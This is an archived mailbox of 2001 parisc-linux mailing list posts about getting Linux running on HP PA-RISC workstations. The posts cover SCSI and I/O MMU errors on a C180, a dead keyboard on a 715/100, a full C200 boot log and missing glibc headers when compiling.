> What devices are present, on which scsi IDs?
> 
> If you let it run on beyond this point does it continue to generate
> errors for scsi IDs up to ID 6?
> 
> I guess the C180 has more than one scsi bus, these errors relate to the
> narrow scsi bus, probably used for the CDROM.  If your disks are on
> another scsi bus, and you can install va the network, you could perhaps
> get going that way.
> 
> Feel free to send me a complete log of the boot msgs.
> 
> Richard
> 
> 
> On Thu, Aug 23, 2001 at 10:19:16PM -0400, nick@snowman.net wrote:
> > SCSI subsystem driver Revision: 1.00
> > sim700: Configuring 53c710 (SCSI-ID 7) at ffd06100, IRQ 86, options 0
> > scsi0: Revision 0x2
> > Post test1, istat 01, sstat0 00, dstat 84
> > sim700: WARNING IRQ probe failed, (returned 0)
> > scsi0: Good, target data areas are dma coherent
> > scsi0: test 1 completed ok.
> > scsi0 : LASI/Simple 53c7xx
> > scsi0: Unable to abort command for target 0
> > scsi0: Unable to send Bus Device Reset for target 0
> > scsi0: Unable to do SCSI bus reset
> > scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> > scsi0: istat = 00, sstat0 = 00, sstat1 = 00, dstat = 00
> > scsi0: dsp = 00088018 (script[0x0006]), dsps = 00088448, target = 0
> > scsi0: Failing command for ID0
> > scsi0: Unable to abort command for target 0
> > scsi0: Unable to abort command for target 1
> > scsi0: Unable to send Bus Device Reset for target 1
> > scsi0: Unable to do SCSI bus reset
> > scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> > scsi0: istat = 00, sstat0 = 00, sstat1 = 00, dstat = 00
> > scsi0: dsp = 00088018 (script[0x0006]), dsps = 00088448, target = 0
> > scsi0: Failing command for ID0
> > scsi0: Unable to abort command for target 1
> >   Vendor:           Model:                   Rev:     
> >   Type:   Direct-Access                      ANSI SCSI revision: 00
> > scsi0: Unable to abort command for target 2
> > scsi0: Unable to send Bus Device Reset for target 2
> > scsi0: Unable to do SCSI bus reset
> > scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> > scsi0: istat = 00, sstat0 = 00, sstat1 = 00, dstat = 00
> > scsi0: dsp = 00089018 (script[0x0406]), dsps = 00089448, target = 0
> > scsi0: Failing command for ID1
> > scsi0: Unable to abort command for target 2
> > 
> > 
> > If you need more of the boot messages I can provide them.
> > 	Nick
> > 
> > On Fri, 24 Aug 2001, Matthew Wilcox wrote:
> > 
> > > On Thu, Aug 23, 2001 at 03:33:36PM -0400, nick@snowman.net wrote:
> > > > Ok, only one more question hopefully.  I updated my PDC firmware from v2.7
> > > > to v6.1, that went fine.  I tried booting a 32bit lifimage, that worked
> > > > untill it got to the SCSI, at which point it spat out lots of errors for
> > > > id's 0, 1 and 2, then locked.  Is there something special I need to do to
> > > > keep C180's scsi happy?  I am useing the debian iso's lifimages right now.
> > > 
> > > I don't recognise this problem, can you post the SCSI messages?
> > > 
> > > -- 
> > > Revolutions do not require corporate support.
> > > 
> > > 
> > > _______________________________________________
> > > parisc-linux mailing list
> > > parisc-linux@lists.parisc-linux.org
> > > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> > > 
> > 
> > 
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> > 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:18:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@beavis.ybsoft.com (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Tue, 28 Aug 2001 21:06:55 -0600
Lines: 46
Approved: news@gmane.org
Message-ID: <20010828210655.A24960@beavis.ybsoft.com>
References: <20010828150740.Q7064@linuxcare.com> <Pine.LNX.4.21.0108281811470.23152-100000@ns>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620428 24642 80.91.229.3 (22 Nov 2014 01:40:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:28 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	Matthew Wilcox <willy@debian.org>, Helge Deller <deller@gmx.de>,
	parisc-linux@lists.parisc-linux.org
To: nick@snowman.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 21:06:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B1E2482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 21:06:57 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id E2B69BCE8; Tue, 28 Aug 2001 21:06:55 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0108281811470.23152-100000@ns>
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12019

Arg.... I recongnize this message :(

Nick,

Can you tell me which kernel you are using, and how much
RAM you have in the C180?  This message means that the ccio
driver can not find any available resources in the IO page
directory to allocate for the DMA trasaction.

Thanks,

- Ryan

On Tue, Aug 28, 2001 at 06:12:45PM -0400, nick@snowman.net wrote:
> ok, what I've finally been able to do is boot to an nfsroot, partition sda
> and sdb, then when I try to mke2fs any partition on either drive I get
> errors along the lines of
> init-2.04# SCSI device sdb: 4194685 512-byte hdwr sectors (2148 MB)
>  sdb: sdb1 sdb2
> SCSI device sdb: 4194685 512-byte hdwr sectors (2148 MB)
>  sdb: sdb1 sdb2
> Kernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping
> resources.
> 
> Kernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping
> resources.
> 
> In interrupt handler - not syncing
> Kernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping
> resources.
> 
> In interrupt handler - not syncing
> Kernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping
> resources.
> 
> In interrupt handler - not syncing
> SysRq: Boot Sync Unmount showPc showTasks showMem loglevel0-8 tErm kIll
> killalL
> SysRq: Resetting
> 
> Is that usefull at all, and if not what would be usefull?
> 	Thanks
> 		Nick




From - Thu Nov 08 21:18:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Tue, 28 Aug 2001 23:08:49 -0400 (EDT)
Lines: 61
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0108282308180.23152-100000@ns>
References: <20010828210655.A24960@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620428 24644 80.91.229.3 (22 Nov 2014 01:40:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:28 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	Matthew Wilcox <willy@debian.org>, Helge Deller <deller@gmx.de>,
	parisc-linux@lists.parisc-linux.org
To: rbradetich@uswest.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 21:09:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC071482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 21:09:28 -0600 (MDT)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA30634;
	Tue, 28 Aug 2001 23:08:49 -0400
X-Sender: nick@ns
In-Reply-To: <20010828210655.A24960@beavis.ybsoft.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12020

I have 128meg of ram and am useing the current CVS source compiled
today.  Should I try another kernel?  I have to boot custom kernels as one
of the SCSI drivers hangs the system.
	Nick

On Tue, 28 Aug 2001, Ryan Bradetich wrote:

> Arg.... I recongnize this message :(
> 
> Nick,
> 
> Can you tell me which kernel you are using, and how much
> RAM you have in the C180?  This message means that the ccio
> driver can not find any available resources in the IO page
> directory to allocate for the DMA trasaction.
> 
> Thanks,
> 
> - Ryan
> 
> On Tue, Aug 28, 2001 at 06:12:45PM -0400, nick@snowman.net wrote:
> > ok, what I've finally been able to do is boot to an nfsroot, partition sda
> > and sdb, then when I try to mke2fs any partition on either drive I get
> > errors along the lines of
> > init-2.04# SCSI device sdb: 4194685 512-byte hdwr sectors (2148 MB)
> >  sdb: sdb1 sdb2
> > SCSI device sdb: 4194685 512-byte hdwr sectors (2148 MB)
> >  sdb: sdb1 sdb2
> > Kernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping
> > resources.
> > 
> > Kernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping
> > resources.
> > 
> > In interrupt handler - not syncing
> > Kernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping
> > resources.
> > 
> > In interrupt handler - not syncing
> > Kernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping
> > resources.
> > 
> > In interrupt handler - not syncing
> > SysRq: Boot Sync Unmount showPc showTasks showMem loglevel0-8 tErm kIll
> > killalL
> > SysRq: Resetting
> > 
> > Is that usefull at all, and if not what would be usefull?
> > 	Thanks
> > 		Nick
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:18:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Keyboard on a 715/100
Date: Tue, 28 Aug 2001 20:29:58 -0800 (AKDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0108282024350.3162-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620429 24647 80.91.229.3 (22 Nov 2014 01:40:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:29 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 22:35:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 451FD482A
	for <parisc-linux@parisc-linux.org>; Tue, 28 Aug 2001 22:35:10 -0600 (MDT)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GITBEG02.A40 for
          <parisc-linux@parisc-linux.org>; Tue, 28 Aug 2001 20:35:04 -0800 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GITBEH03.P5E for <parisc-linux@parisc-linux.org>; Tue, 28 Aug
          2001 20:35:05 -0800 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA05264
	for <parisc-linux@parisc-linux.org>; Tue, 28 Aug 2001 20:29:58 -0800
Xref: news.gmane.org gmane.linux.ports.parisc:12021

So, is there some reason I was thinking that updating the kernel to 2.4.9
would fix the 'non-responding' keyboard issue?

Weird part is, mine has worked intermittently from 0.6 up until now, when
I updated to 2.4.9, when it's completely quit working. No errors on boot,
just no response. Mouse is fine, though...

Anyone care to point me to a replacement "keyboard.c" or whatever it is
this poor thing needs? :-)





From - Thu Nov 08 21:18:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] newborn
Date: Wed, 29 Aug 2001 22:22:18 +0200
Lines: 184
Approved: news@gmane.org
Message-ID: <20010829222218.A20951@middle.of.nowhere>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620429 24649 80.91.229.3 (22 Nov 2014 01:40:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 29 14:23:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.127.132])
	by dsl2.external.hp.com (Postfix) with ESMTP id B8ED3482A
	for <parisc-linux@parisc-linux.org>; Wed, 29 Aug 2001 14:23:14 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp3.xs4all.nl (8.9.3/8.9.3) with ESMTP id WAA16142
	for <parisc-linux@parisc-linux.org>; Wed, 29 Aug 2001 22:22:42 +0200 (CEST)
Original-Received: (qmail 28371 invoked from network); 29 Aug 2001 20:22:19 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 29 Aug 2001 20:22:19 -0000
Original-Received: (qmail 23832 invoked by uid 500); 29 Aug 2001 20:22:18 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12022

It works! Thank you all so very much!!

Jurriaan

palo ipl 0.92 bame@c3k Wed Jun 20 11:49:11 MDT 2001
0/vmlinux32 2853588 bytes @ 0x44000
Partition Start(MB) End(MB) Id Type
1               1      31   f0 Palo
2              32    3846   83 ext2
3            3847    7661   83 ext2
4            7662    8678   82 swap

Command line: 'root=/dev/sda2 HOME=/ console=ttyS0 TERM=vt102'

Kernel: partition 2 file /boot/vmlinux-2.4.0
ext2 block size 4096
ext2_mount(partition 2) returns 0
ext2_open(/boot/vmlinux-2.4.0) = 3
ELF32 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 1606948 mediaptr 0x1000
Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
branching to kernel entry point 0x00100000
Set default PSW W bit to 0
Linux version 2.4.0-32 (root@slab) (gcc version 3.0 (Debian)) #1 Thu Jun 28 11:49:00 BST 2001
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Determining PDC firmware type: Newer Box
model	000059d0 00000481 00000000 00000002 78017d2b 100000f0 00000008 000000b2 000000b2
vers	00000501
cpuid	000001d7
CPUID	vers 14 rev 23
model	9000/782/C200+
Total Memory: 512 Mb
On node 0 totalpages: 131072
zone(0): 131072 pages.
zone(1): 0 pages.
zone(2): 0 pages.
PDC reported no LCD or LED.
Searching for devices...
Found devices:
1. Raven U/L2 Dino RS-232 (10) at 0xf2003000, versions 0x6, 0x0, 0x8c, 0x0, 0x0
2. Raven+ w SE FWSCSI Core BA (11) at 0xffd00000, versions 0x56, 0x0, 0x81, 0x0, 0x0,  additional addresses: 0xffd0c000 0xffc00000 
3. Raven+ w SE FWSCSI Core RS-232 (10) at 0xffd05000, versions 0x56, 0x0, 0x8c, 0x0, 0x0
4. Raven+ w SE FWSCSI Core SCSI (10) at 0xffd06000, versions 0x56, 0x0, 0x82, 0x0, 0x0
5. Raven+ w SE FWSCSI Core Centronics (10) at 0xffd02000, versions 0x56, 0x0, 0x74, 0x0, 0x0,  additional addresses: 0xffd01000 0xffd03000 
6. Raven+ w SE FWSCSU Core Audio (10) at 0xffd04000, versions 0x56, 0x4, 0x7b, 0x0, 0x0
7. Raven+ w SE FWSCSI Core PS/2 Port (10) at 0xffd08000, versions 0x56, 0x0, 0x84, 0x0, 0x0
8. Raven+ w SE FWSCSI Core PS/2 Port (10) at 0xffd08100, versions 0x56, 0x0, 0x84, 0x0, 0x0
9. U2-IOA BC GSC+ Port (7) at 0xf203f000, versions 0x501, 0x1, 0xc, 0x3, 0x0
10. U2-IOA BC GSC+ Port (7) at 0xf103f000, versions 0x501, 0x1, 0xc, 0x3, 0x0
11. Cujo PCI Bridge (13) at 0xf1000000, versions 0x682, 0x1, 0xa, 0x1, 0x0,  additional addresses: 0xf1800000 0xf6000000 
12. Dino PCI Bridge (13) at 0xf2000000, versions 0x680, 0x3, 0xa, 0x0, 0x0,  additional addresses: 0xf2800000 
13. U2-IOA BC Runway Port (12) at 0xfff88000, versions 0x580, 0xf, 0xb, 0x1, 0x50
14. U2-IOA BC Runway Port (12) at 0xfff8a000, versions 0x580, 0xf, 0xb, 0x1, 0x50
15. Raven U 200 (9000/780/C200) (0) at 0xfffa0000, versions 0x59d, 0x0, 0x4, 0x0, 0x81
16. Raven U 200 (1) at 0xfffb1000, versions 0x5d, 0x0, 0x9, 0x0, 0x0
That's a total of 16 devices.
CPU(s): 1 x PA8200 (PCX-U+) at 200.000000 MHz
Kernel command line: root=/dev/sda2 HOME=/ console=ttyS0 TERM=vt102
Console: colour dummy device 160x64
Calibrating delay loop... 398.95 BogoMIPS
Memory: 513012k available
Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
POSIX conformance testing by UNIFIX
Dino version 3.1 (bridge mode) found at 0xf2000000
Lasi version 0 at 0xffd00000 found.
LED display at ffd0c000 registered
PS/2 keyboard controller at 0xffd08000 (irq 133) found, no device attached.
PS/2 psaux controller at 0xffd08100 (irq 133) found, no device attached.

sticonsole_init: searching for STI ROMs
ccio found U2 I/O MMU at 0xfff88000
io_io_high: 0xf6000000 io_io_low: 0xf2000000
ccio found U2 I/O MMU at 0xfff8a000
ccio: Cujo 2.0 bug needs a work around
io_io_high: 0xf2000000 io_io_low: 0xf1000000
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
request_module[parport_lowlevel]: Root fs not mounted
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: enabling 8 loop devices
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xffd05800 (irq = 154) is a 16550A
ttyS01 at iomem 0xf2003800 (irq = 74) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
Linux Tulip driver version 0.9.13 (January 2, 2001)
eth0: Digital DS21143 Tulip rev 48 at 0xff00, 00:60:B0:B2:9E:BC, IRQ 64.
eth0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 152 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 19, function 0
sym53c8xx: 53c875 detected 
sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 67
sym53c875-0: NCR clock is 40401KHz
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-0: on-chip RAM at 0xf2ffe000
sym53c875-0: restart (scsi reset).
sym53c875-0: Downloading SCSI SCRIPTS.
scsi0 : sym53c8xx - version 1.6b
  Vendor: IBM       Model: DDRS-39130WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym53c875-0-<6,0>: tagged command queue depth set to 8
sim700: Configuring 53c710 (SCSI-ID 7) at ffd06100, IRQ 150, options 0
scsi1: Revision 0x2
scsi1: test 1 completed ok.
scsi1 : LASI/Simple 53c7xx
  Vendor: TOSHIBA   Model: CD-ROM XM-6201TA  Rev: 1037
  Type:   CD-ROM                             ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 6, lun 0
sym53c875-0-<6,0>: wide msgout: 1-2-3-1.
sym53c875-0-<6,0>: wide msgin: 1-2-3-1.
sym53c875-0-<6,0>: wide: wide=1 chg=0.
sym53c875-0-<6,0>: wide msgout: 1-2-3-1.
sym53c875-0-<6,0>: wide msgin: 1-2-3-1.
sym53c875-0-<6,0>: wide: wide=1 chg=0.
sym53c875-0-<6,0>: sync msgout: 1-3-1-c-10.
sym53c875-0-<6,0>: sync msg in: 1-3-1-c-f.
sym53c875-0-<6,0>: sync: per=12 scntl3=0x90 scntl4=0x0 ofs=15 fak=0 chg=0.
sym53c875-0-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
Detected scsi CD-ROM sr0 at scsi1, channel 0, id 2, lun 0
Uniform CD-ROM driver Revision: 3.12
Lasi Harmony Audio rev. 0 at 0xffd04000, using IRQ 146
md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md.c: sizeof(mdp_super_t) = 4096
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 4096 buckets, 32Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
IP-Config: Incomplete network configuration information.
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
INIT: version 2.78 booting
Activating swap...
Adding Swap: 1041400k swap-space (priority -1)
Checking root file system...
Parallelizing fsck version 1.20 (25-May-2001)
/dev/sda2: clean, 7165/488640 files, 38002/976640 blocks
Calculating module dependencies... done.
Loading modules: 
Checking all file systems...
Parallelizing fsck version 1.20 (25-May-2001)
Setting kernel variables.
Mounting local filesystems...
nothing was mounted
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces: done.

Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Tue Mar 26 01:04:14 CET 2024

Cleaning: /tmp /var/lock /var/run.
Initializing random number generator... done.
Recovering nvi editor sessions... done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting internet superserver: inetd.
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.

Debian GNU/Linux testing/unstable pa8200 ttyS0

pa8200 login: root
Password: 
Last login: Sat Jan 16 00:48:17 2021 on ttyS0
Linux pa8200 2.4.0-32 #1 Thu Jun 28 11:49:00 BST 2001 parisc unknown




From - Thu Nov 08 21:19:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [newbie] gcc/glibc problems
Date: Thu, 30 Aug 2001 07:32:55 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <20010830073255.A9044@middle.of.nowhere>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620429 24651 80.91.229.3 (22 Nov 2014 01:40:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 29 23:33:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.127.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D269482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Aug 2001 23:33:35 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp1.xs4all.nl (8.9.3/8.9.3) with ESMTP id HAA26934
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 07:33:11 +0200 (CEST)
Original-Received: (qmail 14736 invoked from network); 30 Aug 2001 05:32:58 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 30 Aug 2001 05:32:58 -0000
Original-Received: (qmail 11311 invoked by uid 500); 30 Aug 2001 05:32:55 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12023

I installed the 0.9.2 iso on my C200, then proceeded to get some
development tools installed. This seemed to go well, but this simple
test-program:

#include <stdio.h>

int main(void)
{
   printf("int=%d\n", sizeof(int));
   exit(0);
}

didn't compile at all:

In file included from test.c:1:
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:37:23: features.h: No such file or directory
In file included from /usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:43,
                 from test.c:1:
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stddef.h:199: syntax error before "typedef"
In file included from test.c:1:
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:45:25: bits/types.h: No such file or directory
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:74:19: libio.h: No such file or directory
In file included from test.c:1:
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:89: parse error before "fpos_t"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:138:28: bits/stdio_lim.h: No such file or directory
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:151: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:153: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:158: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:170: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:193: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:195: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:211: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:215: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:263: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:268: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:283: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:285: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:288: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:292: parse error before "_G_va_list"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:294: parse error before "_G_va_list"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:298: parse error before "_G_va_list"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:335: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:337: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:340: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:360: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:361: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:364: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:383: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:384: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:387: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:416: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:426: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:451: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:460: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:464: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:469: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:472: parse error before "__THROW"
